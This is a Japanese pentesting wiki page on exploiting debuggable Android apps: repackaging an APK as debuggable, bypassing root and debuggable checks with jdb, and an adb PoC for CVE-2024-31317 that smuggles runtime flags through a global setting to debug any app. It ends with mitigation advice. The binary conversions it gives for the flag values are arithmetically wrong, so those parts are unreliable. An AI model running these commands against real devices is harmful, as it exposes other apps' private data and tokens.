デバッグ可能なアプリケーションの悪用

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ルートおよびデバッグ可能チェックのバイパス

この投稿のセクションは、投稿の要約です https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Androidアプリをデバッグ可能にし、チェックをバイパスする手順

アプリをデバッグ可能にする

内容は https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 に基づいています。

  1. APKをデコンパイルする:
  • APKをデコンパイルするためにAPK-GUIツールを利用します。
  • _android-manifest_ファイルにandroid:debuggable="true"を挿入してデバッグモードを有効にします。
  • 修正したアプリケーションを再コンパイル、署名、zipalignします。
  1. 修正したアプリケーションをインストールする:
  • コマンドを使用します: adb install <application_name>
  1. パッケージ名を取得する:
  • adb shell pm list packages –3を実行してサードパーティアプリケーションのリストを表示し、パッケージ名を見つけます。
  1. アプリをデバッガ接続待機状態に設定する:
  • コマンド: adb shell am setup-debug-app –w <package_name>
  • 注意: このコマンドは、アプリケーションを開始する前に毎回実行する必要があります。
  • 永続性を持たせるために、adb shell am setup-debug-app –w ––persistent <package_name>を使用します。
  • すべてのフラグを削除するには、adb shell am clear-debug-app <package_name>を使用します。
  1. Android Studioでデバッグの準備をする:
  • Android Studioで File -> Open Profile or APK に移動します。
  • 再コンパイルしたAPKを開きます。
  1. 重要なJavaファイルにブレークポイントを設定する:
  • MainActivity.java(特にonCreateメソッド)、b.java、およびContextWrapper.javaにブレークポイントを配置します。

チェックのバイパス

アプリケーションは、特定のポイントでデバッグ可能かどうかを確認し、ルートデバイスを示すバイナリをチェックします。デバッガを使用してアプリ情報を変更し、デバッグ可能ビットを解除し、検索されたバイナリの名前を変更してこれらのチェックをバイパスできます。

デバッグ可能チェックについて:

  1. フラグ設定を変更する:
  • デバッガコンソールの変数セクションで、this mLoadedAPK -> mApplicationInfo -> flags = 814267974に移動します。
  • 注意: flags = 814267974のバイナリ表現は11000011100111011110であり、「Flag_debuggable」がアクティブであることを示しています。

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

これらの手順は、アプリケーションがデバッグ可能であり、デバッガを使用して特定のセキュリティチェックをバイパスできることを保証し、アプリケーションの動作のより詳細な分析や変更を可能にします。

ステップ2では、フラグ値を814267972に変更することが含まれ、これはバイナリで110000101101000000100010100として表されます。

脆弱性の悪用

脆弱なアプリケーションを使用したデモが提供され、ボタンとテキストビューが含まれていました。最初にアプリケーションは「Crack Me」と表示します。目的は、ソースコードを変更せずに、実行時に「Try Again」から「Hacked」にメッセージを変更することです。

脆弱性の確認

  • アプリケーションはapktoolを使用してデコンパイルされ、AndroidManifest.xmlファイルにアクセスしました。
  • AndroidManifest.xmlにandroid_debuggable="true"が存在することは、アプリケーションがデバッグ可能であり、悪用される可能性があることを示しています。
  • apktoolは、コードを変更することなくデバッグ可能ステータスを確認するためにのみ使用されることに注意してください。

セットアップの準備

  • プロセスにはエミュレーターの起動、脆弱なアプリケーションのインストール、adb jdwpを使用してリスニングしているDalvik VMポートを特定することが含まれました。
  • JDWP(Java Debug Wire Protocol)は、VM内で実行されているアプリケーションのデバッグを可能にし、ユニークなポートを公開します。
  • リモートデバッグのためにポートフォワーディングが必要で、その後ターゲットアプリケーションにJDBを接続しました。

実行時にコードを注入する

  • 悪用はブレークポイントを設定し、アプリケーションのフローを制御することによって行われました。
  • classesmethods <class_name>のようなコマンドを使用してアプリケーションの構造を明らかにしました。
  • onClickメソッドにブレークポイントを設定し、その実行を制御しました。
  • localsnext、およびsetコマンドを使用してローカル変数を検査および変更し、「Try Again」メッセージを「Hacked」に変更しました。
  • 修正されたコードはrunコマンドを使用して実行され、アプリケーションの出力がリアルタイムで変更されました。

この例は、デバッグ可能なアプリケーションの動作がどのように操作できるかを示し、アプリケーションのコンテキスト内でデバイスへのシェルアクセスを取得するなどのより複雑な悪用の可能性を強調しています。


2024 – 任意のアプリケーションをデバッグ可能なプロセスに変える (CVE-2024-31317)

ターゲットAPKがandroid:debuggableフラグを持っていなくても、最近の研究により、Zygoteがコマンドライン引数を解析する方法を悪用することで、任意のアプリケーションDEBUG_ENABLE_JDWPランタイムフラグで起動することが可能であることが示されました。

  • 脆弱性: Zygoteのコマンドソケットを介して提供される--runtime-flagsの不適切な検証により、system_serverに到達できる攻撃者(例えば、WRITE_SECURE_SETTINGS権限を持つ特権adbシェルを介して)が追加のパラメータを注入できます。作成されたコマンドがsystem_serverによって再生されると、被害者アプリはデバッグ可能としてフォークされ、JDWPスレッドがリスニングします。この問題はCVE-2024-31317として追跡され、2024年6月のAndroidセキュリティバルテンにて修正されました。
  • 影響: 任意のアプリのプライベートデータディレクトリへの完全な読み取り/書き込みアクセス(com.android.settingsなどの特権アプリを含む)、トークンの盗難、MDMのバイパス、そして多くの場合、現在デバッグ可能なプロセスのエクスポートされたIPCエンドポイントを悪用することによる特権昇格への直接的な道。
  • 影響を受けるバージョン: 2024年6月のパッチレベル以前のAndroid 9から14。

クイックPoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

ステップ1で作成された値は、パーサーを「ファストパス」から外し、--runtime-flags=0x104DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE)をフレームワークから提供されたかのように受け入れる2番目の合成コマンドを追加します。アプリが生成されると、JDWPソケットが開かれ、通常の動的デバッグトリック(メソッド置換、変数パッチ、ライブFrida注入など)がAPKやデバイスのブートイメージを変更することなく可能になります。

検出と緩和

  • 2024-06-01(またはそれ以降)のセキュリティレベルにパッチを適用 – GoogleはZygoteCommandBufferを強化し、以降のコマンドがこの方法で密輸されることができないようにしました。
  • 生産デバイスでのWRITE_SECURE_SETTINGS / shellアクセスを制限します。このエクスプロイトはこの権限を必要とし、通常はADBまたはOEM特権アプリのみが保持します。
  • EMM/MDM管理のフリートでは、ro.debuggable=0を強制し、adb disable-verifierでシェルを拒否します。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする